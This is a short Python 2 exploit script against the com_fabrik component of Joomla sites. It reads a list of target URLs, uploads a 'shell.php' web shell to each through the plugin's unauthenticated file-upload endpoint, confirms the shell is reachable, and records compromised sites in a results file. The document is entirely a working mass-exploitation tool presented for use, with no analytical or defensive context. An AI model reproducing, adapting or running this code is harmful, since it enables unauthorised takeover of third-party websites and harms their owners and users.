Exploit com_fabrik

#!/usr/bin/env python2
# How to use
# python com_fabrik.py target.txt

import requests
import json
import sys
import urllib3

shl = "shell.php"
urllib3.disable_warnings()
print """====================================================
||              Exploit com_fabrik                ||
||          Backbox Indonesia Version             ||
====================================================
"""
arg = open(sys.argv[1], 'r').read().split('\n')
for i in arg:
    if not i:
        break

    url = str(i) + str('/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload')
    files = {'file': open(shl, 'rb')}
    try: r = requests.post(url, files=files, verify=False, timeout=5)
    except requests.ConnectionError: continue
    except requests.exceptions.Timeout: continue
    except ValueError: continue

    content = r.content
    print "[*] Exploiting : {}".format(i)

    try:
        jso = json.loads(content)
    except ValueError:
        print "[-] Exploit failed..\n"
        continue

    try:
        shel = jso['uri']
    except KeyError:
        print "[-] Exploit failed..\n"
        continue

    try:
        req = requests.get(shel)
    except ValueError:
        print "[-] Exploit failed..\n"
        continue

    stat = req.status_code
    if int(stat) == 200:
        print "[+] Shell uploaded : {} [OK]\n".format(shel)
        sep = "{}\n".format(shel)
        open('sukses.txt', 'a').write(sep)
    else:
        print "[-] Exploit failed..\n"

print "[+] Saved to : sukses.txt"
print "[!] Exploit compleated.."